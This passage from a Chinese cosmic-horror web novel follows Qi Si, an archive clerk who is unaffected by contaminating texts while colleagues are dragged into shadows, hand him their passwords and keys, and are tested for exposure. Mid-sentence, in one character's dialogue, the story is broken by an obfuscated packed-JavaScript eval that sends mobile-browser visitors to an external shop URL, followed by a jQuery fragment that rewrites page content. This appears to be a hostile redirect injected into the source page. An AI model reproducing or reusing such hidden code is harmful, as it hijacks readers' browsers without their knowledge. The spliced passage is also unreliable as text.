反而是另一边的书架被那涟漪扫到,最上层一本被封起来的古卷“啪嗒”一声自己掉下来,落在齐司脚边。 古卷的封皮是某种已经绝迹的动物皮,表面干裂,缝隙里嵌着黑色的粉末,边缘用红线缝合,线头上还挂着一颗已经褪色的玻璃珠。 玻璃珠里有一只极小的眼睛,正对着他。 眼睛里的瞳孔微微一缩,像是认出了什么。 “……你……”那只眼睛里传出一个极细的声音,像是从很远很远的地方飘来,“原来……在这里……” 声音刚飘出半个音节,就被他大脑里的“垃圾过滤器”当成“背景噪音”处理掉了。 那只眼睛愣在玻璃珠里,瞳孔里映出的不是深渊、不是星空、不是扭曲的维度,而是一张毫无波澜的人类脸——齐司低头看了一眼,确认这东西挡着自己脚,顺手把古卷踢到桌子底下。 玻璃珠在地上滚了两圈,眼睛被迫转向别处。 它看见了周记录员。 那只眼睛里的瞳孔猛地放大,像是看见了一个已经被啃得只剩骨头的玩具,兴奋地颤抖起来。 “……勉强……也行……”那个极细的声音改变了方向。 古卷底下的阴影里,有什么东西慢慢伸出来,像是一根根细长的手指,带着黏腻的光泽,悄无声息地缠上周记录员的脚踝。 周记录员的惨叫声忽然断成一截,喉咙里发出“咕噜咕噜”的气泡声,整个人被那股看不见的力量一点点往阴影里拖。 他的手在地上乱抓,指甲在石板地上刮出一串刺耳的声音,指尖磨破,血混着灰尘糊成一团。 “齐、齐司!”他嘶哑地喊,声音里带着破碎的希望,“帮、帮我……你、你不是也在看吗?你、你肯定知道……怎么关上……怎么关上它们……” 齐司低头看了看他,又看了看时间。 离下班还有四个小时零二十三分钟。 “我只是负责整理。”他如实回答。 周记录员的眼神里闪过一丝彻底的绝望,随即被某种疯狂的光取代。他忽然从地上挣扎着爬了两步,扑到齐司腿边,一把抓住他的裤脚。 “那、那你帮我保管!”他几乎是吼出来的,声音嘶哑得像破布被撕开,“你、你最稳……你、你每天都坐在这儿……你、你肯定能撑得住……你、你帮我、帮我守着它们……别、别让它们跑出来……” 他一边说,一边从怀里、袖子里、裤腰里掏东西。 一串串钥匙、几张写满密密麻麻密码的纸条、一只磨得发亮的U盘、一枚刻着奇怪符号的铜质徽章、一小本用黑墨手写的笔记本,还有一叠被折得皱巴巴的照片,全都被他往齐司怀里塞。 东西堆成一小堆,压在案卷上,把原本平整的纸压出几道折痕。 “密码、都在这儿……”周记录员喘着气,手指在那几张纸条上乱点,“地下三层的门、冷库的锁、祭祀间的柜子、还有、还有那台终端……只有你、你能看……” 他说到“看”的时候,声音忽然断了一下,像是被什么东西扯住了舌头。 他眼睛死死盯着齐司的脸,瞳孔里映出一片——空白。 那种空白不是“什么都没有”的空,而是“所有东西都被挡在外面”的空。 就像一扇门后面明明有无数东西在挤,却被一层看不见的膜隔开,门板上连一个猫眼都没有。 周记录员的嘴唇颤了颤,忽然笑了一下。 那笑容扭曲、干裂,却带着一种近乎虔诚的疯狂:“对……对……你、你不是人……你、你肯定不是人……你、你是祂们那边的……你、你才是……真正的保管者……” 他的话越说越快,越说越轻,最后几个字几乎是贴在地板上吐出来的。 阴影里的那几根“手指”已经缠上他的腰和胸口,往下一拽,他整个人被拖进桌子底下,身体在阴影边缘被拉得细长,像是一张被拉扯过度的橡皮图。 骨头发出一阵细微的“咔嚓咔嚓”声。 齐司往后挪了挪脚,免得被带进去,顺手把那堆钥匙和纸条往桌子里推了推,堆成一小摞。 桌子底下传来最后一声极低的“咯吱”,像是某扇很久没开过的门被关上了。 然后,一切归于平静。 远处又响起纸张翻动的声音,像是什么都没发生过。 齐司低头,看了看怀里的那堆东西。 钥匙串上挂着十几把不同形状的钥匙,有几把被磨得发亮,显然经常使用。U盘外壳上贴着一张已经卷边的标签,上面用红笔写着“勿插内网”。那枚铜质徽章背面刻着一行极小的字,肉眼几乎看不清。 他随手拿起那本黑墨笔记本,翻开。 第一页是周记录员的字,工整、细致,写着日期、地点、参与人员名单。往后翻,字迹开始变形,行距越来越乱,夹杂着一些看不懂的符号和图案。 有一页上画着一个巨大的圆,圆里套着七个小圆,每个小圆里都是一只眼睛。眼睛的瞳孔方向各不相同,有的看上,有的看下,有的看左,有的看右,还有一只是斜着看,像是在盯着某个看不见的角落。 那一页的墨水特别浓,纸张被浸得发软,指腹一压,会渗出一点黑色的水。 那水里有极细小的光点在闪烁,像是缩小到极致的星空。 那些光点试图顺着他的指纹往里钻。 刚钻到皮肤表层,就被他身体某个自动防御机制当成“静电”处理掉了。 指尖轻微一麻,随即恢复正常。 他脑子里弹出一个念头:这人字写得越来越丑。 翻到最后几页,字迹已经完全看不出原来的样子,像是有人拿着笔在纸上疯狂戳,墨水渗成一整片黑,黑里隐约有一些白色的缝隙,拼成“门”“眼”“深处”“回归”之类的字样。 他看了两眼,脑子里自动总结成四个字:精神状态不佳。 笔记本最后一页夹着一张折叠的纸。 纸很薄,几乎透明,上面用极细的笔画着一张地图。 不是现实中的地图,而是一层层叠加的平面,像是有人把不同楼层、不同空间、不同维度的结构硬生生压在一张纸上。 线条交错,楼梯在半空中拐弯,门开在天花板上,走廊在墙里延伸,某些地方标着红圈和箭头,旁边写着“裂缝”“入口”“祂的视线”。 纸张边缘有几处被烧焦的痕迹,说明这东西本来不该存在太久。 他目光在那张图上扫了一圈。 大脑自动屏蔽掉“维度”“裂缝”“视线”这些标签,只留下几个实用信息:地下三层有冷库,地下五层有一间上锁的房间,顶层有个不对外开放的穹顶。 他把那张纸折回去,塞回笔记本里,合上。 桌子另一边,档案室的门被人推开,门轴发出一声长长的“吱呀”。 脚步声急促地靠近。 “齐司!”一个带着喘息的声音响起,是研究部的副主任,姓林,平时总是笑眯眯的,此刻脸色却苍白,额头上全是汗,“你、你在这儿啊……” 他话说到一半,目光扫过地上那片被拖拽过的痕迹,扫过桌子底下那一块比周围更深一点的阴影,眼角抽了一下。 然后,他像是自动忽略了这些,把视线迅速移开,落在齐司面前那一堆钥匙、纸条和徽章上。 “这些是……”他声音发紧。 “周组的。”齐司说,“他刚才托付给我。” 林副主任沉默了两秒,喉结动了动。 “他、他人呢?” “走了。”齐司说。 林副主任的眼皮抖了一下,像是很想问“去哪儿了”,又像是已经知道答案,不敢问。 他深吸一口气,努力让自己的声音听起来正常一点:“那、那这些东西……你、你先帮忙保管一下。上面……上面刚刚开了紧急会议,决定把所有涉及‘深层接触’的权限集中管理。” 他说着,从怀里掏出一张红色的卡片,递过来。 卡片边缘镶着一圈银色的线,正面印着调查局的标志,下面是一行字:特别接触许可。 “从现在起,你是档案室的‘一级接触员’。”林副主任说,眼神复杂,“所有高危文本、遗物、影像、录音……都先由你这边过一遍,再决定是否分发给其他组。” 齐司接过卡片,看了一眼。 卡片背面写着一串编号和一行小字:持卡人须通过长期稳定接触评估。 “为什么给我?”他问。 林副主任看着他,眼神里带着一种说不清的敬畏和依赖:“因为……你最稳。” 他顿了顿,压低声音:“这一个月里,接触过‘深层文本’的同事,已经有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939307|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七个出问题了。要么失踪,要么住院,要么……你也看见了。” 他说着,目光不自觉地飘向桌子底下那块阴影,又迅速收回。 “只有你……”他盯着齐司的脸,“每天坐在这儿,看那么多东西,还能正常上下班。” “正常上下班”这四个字,他咬得很重,像是在抓住最后一根稻草。 齐司想了想:“我只是坐着。” “这就够了。”林副主任说,“你、你继续坐着就好。” 他像是怕自己再多看一眼就会被什么东西拖进去,匆匆退了两步,又停下,回头补充了一句:“上面、上面还会给你开通更高的系统权限。以后有任何……不对劲的东西,先发到你这边。” 说完,他几乎是逃一样地离开了档案室。 门“砰”地关上,回声在穹顶下绕了一圈,最后变成一串模糊的低语。 那些低语试图钻进齐司耳朵,被他大脑的过滤网一拦,自动归类为“环境噪音”。 他低头,看了看手里的红色卡片,又看了看桌上的钥匙、纸条、徽章、U盘、笔记本。 桌面上堆满了各种“高危物品”,每一件都在极微弱地震动,像是被关在笼子里的小动物,试图探出爪子。 它们的震动频率各不相同,有的像心跳,有的像呼吸,有的像某种古老语言的节奏。 这些频率混在一起,理论上会形成一片足以把正常人脑子搅成浆的噪声。 在他这里,全被压成一条直线。 他把红卡塞进工牌后面的透明夹层里,顺手把那堆东西往桌角一推,腾出中间一块空地,把刚才那份案卷重新摊开。 档案室深处,又传来一阵不合时宜的笑声。 这次笑声里夹着哭腔、咒骂、祈祷,还有某种极低的吟唱。 那些声音互相叠加,像是一群人在不同频率上同时说话,任何一个正常人听见,脑子里都会自动拼出一些不该存在的词。 齐司听见的,是一串模糊的“嗡嗡嗡”。 他眼皮一抬一落,继续翻页。 离下班,还有四个小时零一十八分钟。 档案室的灯在这时候闪了一下。 不是那种老旧日光灯的间歇性抽搐,而是整条灯带像被什么巨大阴影从外面掠过,光线被压扁成一条细线,又慢慢弹回原状。 墙上的时钟停了半秒,又追上时间。 “嗡——” 齐司抬眼,看了一下钟。 指针正常地指在两点四十二分。 他把视线移回案卷。 纸张翻动的声音在档案室里显得格外清晰,像是某种仪式里单调的节拍。 深处的笑声突然断了。 取而代之的是一阵急促的脚步声,从远到近,鞋底在水泥地上摩擦,带着一点拖沓和失衡,像是某个人的重心已经不太稳定。 脚步在他这排书架前停下。 “齐、齐司?” 声音发干,嗓子像被砂纸磨过,尾音发抖。 他抬头。 是三组的周临,头发乱得像刚从水里捞出来,眼白里布满血丝,瞳孔缩得极小,像是被强光照久了。 衬衫扣子扣错了两颗,袖口上有一圈已经干掉的黑色水渍,边缘泛着诡异的暗绿。 “有事?”齐司问。 周临的喉结滚了两下,像是要把什么东西咽回去。 他用力眨了眨眼,视线在齐司脸上停了两秒,又迅速移开,像是直视太久会被什么东西反噬。 “你、你现在有空吗?”周临声音压得很低,语速却快得有些失控,“我、我可能……要调离了。” 齐司“哦”了一声。 “我想把东西交给你。”周临说。 他像是怕被什么看见,整个人半弯着腰,从怀里、口袋里、腰间一个个掏东西出来。 一本被翻得起了毛边的黑皮笔记本,封皮上沾着干涸的咖啡渍和不知名的灰白色粉末。 一串旧钥匙,钥匙环上挂着一块磨得发亮的金属牌,刻着一串已经被磨掉一半的编号。 一只U盘,外壳是普通的黑塑料,接口处却有一圈细得几乎看不见的银色刻痕,像是某种符号被刻在了金属里。 还有一张折得很整齐的照片,纸边被反复摩挲得发软。 周临把这些东西一股脑推到齐司面前,手指在桌面上抖得厉害,指节因为用力而发白。 “密码都在这里。”他从笔记本最后一页撕下一条纸条,字写得极小极密,几乎把纸面填满,“所有的门禁、保险柜、加密文件,还有……还有‘深井’的访问口令。” “深井?”齐司问。 “你、你别问。”周临猛地抬头,眼神里带着一种近乎乞求的恐惧,“你就、就收着。你是唯一一个、一个还能——” 他的话戛然而止。 因为在他视线的角度,齐司身后那一整面书架,书脊的排列方式在这一刻像是被什么无形的手轻轻拨动了一下。 原本规整的编号标签,在他眼里突然像是活了过来,白色的标签一块块翻转,露出背面密密麻麻的细线。 那些线条在空气里延伸、交织,像是一张巨大的蛛网,从书架缝隙里爬出来,沿着地面、墙壁、天花板缓慢蔓延。 每一条线的末端,都挂着一只眼睛。 没有眼眶,没有血肉,只是一个个湿漉漉的眼球,被透明的细丝吊着,轻轻摇晃。 它们齐刷刷地转动,盯向周临。 周临的呼吸猛地一滞。 他喉咙里发出一声几乎听不见的呜咽,膝盖一软,整个人往后退了一步,后背撞上对面的书架,发出“咚”的一声闷响。 在齐司的视角里,书架安静地立在那里,标签还是那一排排编号,什么都没动。 “你脸色不太好。”齐司说。 周临嘴唇发抖,像是想说什么,却只发出几声破碎的气音。 他努力把视线从那些“眼睛”上挪开,死死盯着齐司的脸。 那一瞬间,他的瞳孔突然放大了一点。 因为他发现——那些沿着空间爬行的线,那些挂着眼球的丝,在接近齐司所在的那一块区域时,像是撞上了什么看不见的屏障。 它们没有绕开,也没有试图渗透进去,而是直接在那一片空白前停住,像是被剪断了一样,末端干净利落地悬在半空。 那一小块区域,干净得近乎刺眼。 没有线,没有眼睛,没有任何附着物。 像是空间本身缺了一块。 那一块空白,正好把齐司整个人包在里面。 周临的喉咙里发出一声沙哑的笑,又像是哭。 “果然……”他喃喃,“你、你是……空的……” 他的话音还没落,耳边突然炸开一阵低语。 不是从外面传来的,而是直接在他脑子里响起。 那声音像是无数张嘴贴在他的鼓膜上,同时说话,吐出的每一个音节都带着湿热的触感。 【看见了。】 【那一块缺失。】 【那不是人。】 【那是……】 声音在这里卡了一下,像是在搜索一个足够贴切的词。 【是我们也无法命名的空洞。】 【是更早之前的……】 【错误。】 低语在周临脑海里盘旋,像是要把他的意识一点点剥开。 他感觉自己的眼球在发痒,眼眶里有什么东西在往外拱。 他下意识伸手去按眼角,指尖触到的却是一片冰凉的液体。 他手指一抖,抹下来一看——掌心里是一团浓稠的黑色粘液,里面漂浮着几根细小的白色纤维,像是被溶解了一半的神经末梢。 “别、别看……”他几乎是嘶吼出来,“别看我!” 齐司被他这声吼弄得耳朵有点疼,下意识往后靠了靠。 “你先去医务室。”他说,“东西我收着。” 周临的呼吸已经完全乱了,胸口起伏得厉害,像是随时会断气。 他却死死抓住桌沿,逼迫自己把那张写满密码的纸条往齐司那边推得更近一点。 “记、记住……最下面那一行。”他声音低得几乎听不见,“如果、如果他们……找你,就用那一行……拒绝。” 纸条最底下那一行,比其他密码更小,几乎要挤出纸边。 上面写着一串看起来像乱码的字符,夹杂着几个奇怪的符号,像是键盘上不存在的按键被硬生生敲出来。 齐司扫了一眼。 他的大脑自动把那串字符归类为“复杂但无用的工作信息”,和他每天处理的各种内部编码、项目编号没有区别。 没有任何多余的联想,也没有任何“这东西不该存在”的本能反应。 那一行字符在他脑子里被压缩成一个标签:“周临_特别备注”。 周临盯着他的脸,像是在确认什么。 低语在他脑子里还在继续。 【他看了。】 【他没有反应。】 【他不理解。】 【他无法被写入。】 【他是空白的页。】 【我们无法在上面留下痕迹。】 【错误。】 【错误。】 【错误。】 那些声音开始变得烦躁,语调从低沉的呢喃变成了刺耳的尖叫,像是某种程序在遇到无法处理的输入时不断弹出报错窗口。 周临突然觉得脑子里一阵清明。 那种清明不是“恢复正常”,而更像是——原本紧紧缠绕在他意识上的那些线,被某种外力粗暴地扯断了。 低语在下一秒,全部消失。 留下的是一片死寂。 寂静得连他自己的心跳声都听不见。 周临愣了一下,慢慢直起身。 他低头看了看自己手上的黑色粘液,那些东西已经开始变得干燥,表面裂出一条条细小的缝隙,像是被晒干的泥。 他把手在裤子上随便一擦,抬头看向齐司。 “谢谢。”他突然说。 语气出奇地平静。 齐司“嗯”了一声,把那堆东西往桌角又推了推,腾出更多空位给案卷。 “我会写一份正式移交申请。”周临说,“上面……应该会同意把所有相关权限转到你名下。” “随便。”齐司说。 他翻到案卷的下一页,开始看一份关于“海岸线异常后退”的观测记录。 周临站在原地,又看了他几秒。 那一小块“空白”的感觉,在他视线里依旧清晰——所有他刚才看到的线、眼睛、扭曲的空间,在接近齐司时,都会自动绕开,或者干脆在边缘断裂。 像是整个世界在他的轮廓周围留出了一圈安全距离。 “他们会以为你是……最稳定的那一个。”周临说,“你要小心。” 他自己也不知道这句“你要小心”到底是在提醒什么。 说完,他转身,脚步比来时稳了许多,慢慢走向档案室出口。 7. 第 7 章 门在他身后合上。 档案室又恢复了只有翻页声的安静。 齐司把纸条夹进笔记本,顺手把笔记本、钥匙、U盘、照片一起塞进抽屉。 抽屉里已经堆了不少类似的东西——各种同事托付的“重要资料”、“最后的备份”、“如果我出事就交给你”。 有的用牛皮纸袋装着,上面写着密密麻麻的编号和警告语;有的只是随便用橡皮筋一扎,连标签都没有。 抽屉被塞得有点满,他用力压了压,听见里面某个金属物件发出一声闷响。 “咔哒。” 锁扣自动弹上。 他看了眼电脑屏幕上的时间。 离下班,还有三小时五十九分钟。 …… 周临的“正式移交申请”来得比想象中快。 第二天下午,齐司刚刷完午休后的考勤,系统就弹出一条内部通知。 【权限调整:档案部-三组-周临 →档案部-一组-齐司】 下面是一长串具体条目。 “深井项目:只读权限 →完整访问权限。” “海岸线后退观测:二级 →四级。” “‘黑潮’口述记录:解锁。” “旧日语言残片库:解锁。” “梦境污染案例库:解锁。” 每一条后面都跟着一串编号和生效时间。 通知的最后一行,用红色字体标注: 【备注:经评估,齐司为目前本部门理智值最稳定、暴露时长最长、无异常反应记录的人员,适合作为相关项目的最终保管者。】 他看完,点了右上角的“已读”。 系统又弹出一个小窗口。 【新权限已开通,是否现在浏览相关资料?】 下面两个按钮:【是】和【否】。 他点了【否】。 窗口自动缩回角落,变成一个小小的红点,安静地待在那里。 他打开浏览器,开始看午饭后没看完的内部论坛帖子。 “最近谁又被调去深井了?” “梦境组又疯了一个。” “听说研究院那边打算成立一个‘高暴露容忍组’,专门挑那种看了也没反应的怪胎。” 帖子下面的回复一条接一条刷出来,带着各种压低的恐惧和半开玩笑的自嘲。 有人发了一张模糊的照片,照片里是研究院某个会议室的门牌。 门牌上新贴了一行字: 【高暴露稳定性观察对象:#01——齐司】 下面还有一行小字: 【备注:长期接触禁忌文本、影像、实物,无梦境污染记录,无精神波动异常。】 帖子楼主在下面配了一句: “兄弟们,谁认识这位?这还算人吗?” 齐司看着那行“#01——齐司”,停顿了两秒。 他把页面往下拉,看评论。 “我在档案部见过他,真的,超正常。” “你们别乱说,人家可能是意志力超强。” “也可能是已经疯了,只是我们看不出来。” “听说他看过‘黑潮’的原始口述记录,连个噩梦都没做。” “我看了一段就吐了三天。” “我看了两行就开始听见海浪在我耳朵里说话。” “你们说,他是不是其实是那边的?” “闭嘴,再说就要被梦境组请去喝茶了。” 齐司把页面关掉。 他打开工作系统,把今天待处理的案卷列表调出来。 列表最上面,自动跳出一条新任务。 【任务:整理‘黑潮’口述记录原始文本,建立可检索索引。】 后面用括号标注:【高污染风险】【建议佩戴全套防护设备】【建议两人以上共同作业】【建议每工作十五分钟休息一次】【建议配备心理辅导员在场】 下面有一行小小的灰字: 【已自动分配给:齐司】 他看了看时间。 离下班,还有三小时零七分钟。 他点开任务。 系统弹出一个确认窗口。 【你即将访问高污染文本‘黑潮’口述记录原始版本。】 【请确认你已佩戴:】 【□视听过滤装置】 【□心理防护耳机】 【□生理监测腕带】 【□紧急中断按钮】 下面有一个“全部已佩戴”的勾选框。 他直接点了“确认”。 窗口消失,屏幕上出现一个黑色的阅读界面。 第一行字缓缓浮现出来,字体像是被什么东西从深海里一点点拖上来,带着潮湿的阴影。 【……那不是海水在退去,而是岸线在向内卷曲。】 这行字在普通人眼里,大概会伴随着某种视觉上的扭曲——字形会像活物一样蠕动,笔画之间的空隙会变成一只只张开的嘴,往外吐出咸湿的气息。 齐司看到的,是一行略微偏灰的黑字。 他往下翻。 【我们听见的不是浪声,而是某种巨大的呼吸。】 【每一次潮起潮落,都是它在翻身。】 【我们只是它皮肤上的盐粒。】 这些句子在他脑子里被自动归类为“夸张的比喻”和“文学化的描述”。 没有画面感,也没有任何“这东西是真的”的联想。 就像在看某个写作水平一般的报告人试图用文艺的方式描述自然现象。 他翻页的速度很稳定,每一页停留的时间差不多,偶尔会因为某个词语太拗口而多看一眼。 屏幕前方的空气,在极细微的层面上发生了一点变化。 如果有足够敏锐的感知,就会发现——有某种看不见的“雾”正从屏幕里缓慢溢出。 那雾不是水汽,而是由无数细小的符号、音节、图像碎片组成的“信息雾”。 它们在空气里游动,寻找可以附着的载体。 附近的桌椅、文件夹、钢笔、甚至墙上的时钟,都被这层薄雾轻轻掠过。 时钟的秒针在那一瞬间停顿了一下,钢笔的影子在桌面上拉长又缩短,文件夹的边缘出现了一条几乎看不见的暗纹。 那雾在接近齐司时,速度明显慢了一点。 像是在试探。 它们绕着他的头部、肩膀、手臂转了一圈,试图寻找可以渗透的缝隙。 通常情况下,这些“信息雾”会沿着人的感知通道——视觉、听觉、嗅觉、触觉、梦境——渗入进去,在大脑里扎根,生长出各种各样的幻觉和低语。 在齐司这里,它们像是撞上了一层透明的玻璃。 不是被弹开,而是——滑过去。 那层“玻璃”并不主动排斥,也不反击,只是单纯地“不存在入口”。 雾在他周围盘旋了几圈,发出极低的、几乎可以忽略不计的“滋滋”声,像是电流在空接的线路上打火。 【无法写入。】 【目标缺失必要模块。】 【感知端口:0。】 【梦境接口:不存在。】 【错误。】 【回退。】 那些碎片化的低语在“雾”内部快速闪过。 下一秒,雾开始后退。 它们像是被某种强制指令召回,迅速从空气里收缩回屏幕里。 在这个过程中,有一小缕雾不小心擦过了旁边隔间的隔板,顺着缝隙钻了进去。 隔板另一侧,正在加班整理另一份案卷的同事突然打了个冷战。 他手里的笔一顿,眼前的文字开始模糊,纸上的字行像是被水泡过一样扭曲。 他听见耳边有海浪声。 那海浪声一开始还算正常,像是某个旅游宣传片里的背景音。 很快,浪声里开始夹杂别的东西。 【……你也是盐粒。】 【……你也是。】 【……你。】 声音一遍遍重复,像是有人用指甲在他鼓膜上轻轻刮。 他呼吸变得急促,手心出汗,额头冒出细密的冷汗。 “怎么了?”隔壁隔间有人探头问。 “没、没事。”那同事勉强挤出一个笑,“可能是昨晚没睡好。” 他自己都没意识到,他说这句话的时候,眼白里已经开始出现细小的黑点。 那些黑点在几分钟内会慢慢扩散,最终连成一片。 而这一切的源头——那缕不小心溢出来的“信息雾”——已经完全退回了“黑潮”文本内部。 它们在里面蜷缩成一团,像是一群受了挫的微生物。 【外界存在异常目标。】 【污染失败。】 【路径绕行。】 【寻找其他入口。】 【寻找其他盐粒。】 它们开始沿着网络、文件共享、打印机缓存等各种渠道,向整个大楼扩散。 齐司翻完最后一页。 系统自动弹出一个窗口。 【你已完成‘黑潮’口述记录原始文本的初次通读。】 【检测到你的生理指标:心率正常,血压正常,脑电波无异常波动。】 【请评价本次文本的可读性:】 【★ ☆ ☆ ☆ ☆】到【★★★★★】五个选项。 他点了【★★☆☆☆】。 系统弹出一个小小的问卷。 【请简要说明评分理由。】 他在输入框里敲字: 【句子结构混乱,比喻过多,关键信息密度不高,建议后续整理时提取要点,删除冗余描写。】 点了“提交”。 屏幕右下角的小红点闪了一下。 【你已解锁‘黑潮’口述记录的索引编辑权限。】 【是否现在开始建立索引?】 他看了眼时间。 离下班,还有两小时三十六分钟。 “现在做完,下班就不用加班。”他小声说了一句。 于是点了【是】。 …… 下午四点半,研究院那边的人终于找上门来。 档案室的门被敲了三下。 “进。”齐司说。 门被推开,一个穿着深灰色实验服的男人走进来,胸牌上写着“研究院-精神污染组-赵屿”。 他身后还跟着两个助手,手里抱着一摞厚厚的文件夹和一个便携式生理监测仪。 “打扰一下。”赵屿的语气很客气,“我们想占用你一点时间,做个例行的暴露后评估。” “现在?”齐司手还放在键盘上。 “是的。”赵屿点头,“你刚刚完成了‘黑潮’原始文本的通读,对吧?” “嗯。” “根据规定,我们需要在暴露后两小时内完成第一次评估。” “还有一个半小时下班。”齐司说。 赵屿愣了一下,随即笑了笑。 “我们会尽量快。”他说,“不会耽误你太久。” 他示意助手把监测仪放在桌上,又把一叠表格摊开。 “先做一个简单的问卷。”赵屿说,“关于你在阅读过程中的主观感受。” “没有感受。”齐司说。 赵屿的笔在表格上停了一下。 “没有任何不适?”他确认。 “没有。” “比如头痛、恶心、胸闷、呼吸急促、心悸、出汗、四肢发麻、视线模糊、耳鸣、幻听、幻视、时间感扭曲、空间感异常、身体与环境的边界感模糊——” “没有。”齐司打断他,“就……有点困。” 赵屿抬头,看了他一眼。 那一瞬间,他的表情很微妙——像是看见了一个极其珍贵又极其危险的样本。 “困?”他重复了一遍。 “文字太啰嗦。”齐司说,“信息重复。” 赵屿在表格上写下几行字。 【主观感受:轻微困倦。】 【原因:文本冗长。】 他把表格往后翻,又拿出几张印着奇怪图案的卡片。 “接下来是视觉刺激测试。”他说,“请你依次看这些图案,如果有任何不适,立刻告诉我。” 他把第一张卡片放在齐司面前。 卡片上是一团看起来像是墨迹随机洒出来的图形,细看之下,却能发现其中隐藏着一些不该存在的角度和结构。 那些线条在正常人眼里,会在几秒钟内自动拼出某种“形状”,而那“形状”一旦被意识到,就会在脑子里留下难以抹去的印记。 齐司看了一眼。 “像咖啡打翻。”他说。 赵屿:“……” 他把第二张卡片放上来。 这次的图案更复杂,线条像是某种螺旋状的生物,在一个不可能存在的空间里缠绕。 “像打印机卡纸。”齐司说。 第三张。 一片密密麻麻的点阵,点与点之间的间距并不均匀,按照某种古老的节奏排列。 “像老电视的雪花屏。” 赵屿深吸了一口气。 他把卡片收起来,换成一叠打印出来的文字。 “那这些呢?”他问,“你看这些句子,有什么感觉?” 那些句子显然是从各种禁忌文本里摘出来的,每一行都带着强烈的污染性。 【当你读到这行字时,它已经在你的脑子里写下了自己的影子。】 【请不要数这行字里的字数。】 【你现在听见的不是自己的心跳。】 【你现在呼吸的不是空气。】 齐司扫了一眼。 “有点中二。”他说。 赵屿的笔在表格上“刷刷”地写。 【视觉刺激:无异常反应。】 【文本暗示:无异常反应。】 【联想能力:正常。】 【暗示接受度:极低。】 他写到一半,突然停下。 因为在他耳边,有一个极低的声音响了一下。 不是外界的声音,而是那种典型的“污染后低语”。 【他在看。】 【他在听。】 【他没有回应。】 【他是空的。】 【他是……】 那声音在这里停顿了一下,像是在某个看不见的地方被强行切断。 赵屿的脑子里一阵刺痛。 他下意识抬手按了按太阳穴。 “你没事吧?”齐司问。 “没、没事。”赵屿勉强笑了一下,“可能是最近加班太多。” 他自己很清楚,那不是加班的问题。 那是——某种他们一直在研究的“东西”,刚刚试图通过他,去接触坐在他对面的这个人。 然后,在接触的瞬间,被迫中断。 不是被驱逐,而是——找不到落脚点。 就像一只试图落在水面上的鸟,突然发现那不是水,而是一个没有任何物理性质的“空”。 它无法停留,也无法下沉,只能在空中扑腾两下,然后被风吹走。 赵屿深吸一口气,把剩下的测试流程尽快走完。 最后,他合上文件夹。 “结论很明确。”他说,“你目前是我们记录里,暴露量最大、反应最小的个体。” “哦。”齐司说。 “研究院那边打算把你的权限再往上提一提。”赵屿继续,“不仅是档案部这边的,还包括我们精神污染组、梦境组的一些核心资料。” “我不做调查。”齐司说。 “我们知道。”赵屿点头,“你只需要继续做你现在在做的事——整理、保管、接触这些东西。” “加班费?”齐司问。 赵屿愣了一下,随即笑出声。 “这个我可以帮你申请。”他说,“高暴露补贴、风险津贴,还有一部分研究协作费。” “那随便。”齐司说。 赵屿站起身,收拾好东西。 临走前,他又看了齐司一眼。 那一眼里,除了专业的好奇之外,还多了一点说不清道不明的东西。 像是敬畏,又像是本能的退缩。 “如果你最近做了什么奇怪的梦,或者听见什么不该听见的声音,一定要第一时间联系我。”赵屿说,“这是我的内线。” 他把一张印着自己号码的小卡片放在桌上。 “我不做梦。”齐司说。 赵屿的手顿了一下。 “从来不做?”他问。 “记事起就没做过。”齐司说。 赵屿沉默了两秒。 “那就更有意思了。”他低声说了一句。 说完,他像是意识到自己说漏了什么,赶紧补了一句:“从研究角度讲。” 门在他身后关上。 档案室又只剩下键盘敲击声。 齐司把那张写着号码的小卡片塞进抽屉,压在一堆别的卡片、纸条、钥匙和U盘下面。 抽屉已经完全塞满,他用力压了两下,才勉强关上。 锁扣“咔哒”一声。 他看了看时间。 离下班,还有一小时零九分钟。 …… 那天晚上,他准时下班。 打卡机在他刷卡的时候发出一声清脆的“滴”,屏幕上跳出“下班愉快”。 大楼外的天已经完全黑了,海风从远处吹过来,带着一点潮湿的腥味。 停车场的灯一盏一盏亮着,光圈在地面上拉出一片片淡黄的圆。 他走到自己的车旁,打开车门,坐进去。 车内还有白天晒过的温度,方向盘摸上去有点烫。 他插上钥匙,发动。 广播自动打开,调在某个本地新闻频道。 “……今日下午,沿海观测站再次报告海岸线异常后退现象,退幅约为——” 他伸手把广播关掉。 车里瞬间安静下来,只剩下发动机的低鸣。 他把车开出停车场,驶上回家的路。 路边的路灯一盏一盏往后退,光圈在挡风玻璃上划出规律的明暗交替。 在某个路口,他等红灯。 对面车道的车灯排成一行,远远看过去,像是一串发光的珠子。 他手搭在方向盘上,眼睛有点酸。 今天的字看得有点多。 红灯倒计时从“23”跳到“22”。 在“21”的时候,他眼角余光里,看到路边的广告牌有一点不对劲。 那块广告牌白天还在放某个饮料的广告,此刻却变成了一片漆黑。 黑得不像是灯坏了,更像是——那一块空间被挖空了。 黑暗的边缘不是直线,而是缓慢蠕动的弧线,像是有什么东西在里面翻滚。 如果有别的人在这里,一眼看过去,大概会在那块黑暗里看到某种形状。 那形状会根据每个人的恐惧不同而变化——有人会看到巨大的眼睛,有人会看到无数手臂,有人会看到自己被剥开的身体。 那东西从黑暗里探出一点点,像是在试探。 它的“目光”扫过路口的每一辆车。 某辆车里的司机突然打了个冷战,手里的烟掉在腿上,烫得他骂了一句脏话。 另一辆车里的小孩开始哭,说自己看到“怪物”。 那东西的“目光”最后落在齐司这边。 它停顿了一下。 【目标定位。】 【高暴露个体。】 【接触。】 它伸出一条看不见的“触须”,朝这辆车探过来。 那“触须”穿过挡风玻璃,穿过空气,直直伸向驾驶座。 在接触到齐司的那一瞬间—— 【……】 一片空白。 不是被挡开,也不是被烧毁,而是——“触须”的前端突然失去了所有反馈。 就像伸手伸进了一块不存在的地方。 没有温度,没有质感,没有任何可以感知的东西。 那一小截“触须”在接触点附近开始出现细微的裂纹。 裂纹迅速扩散,像是玻璃被敲了一下。 【错误。】 【路径中断。】 【感知回路:断裂。】 【回溯。】 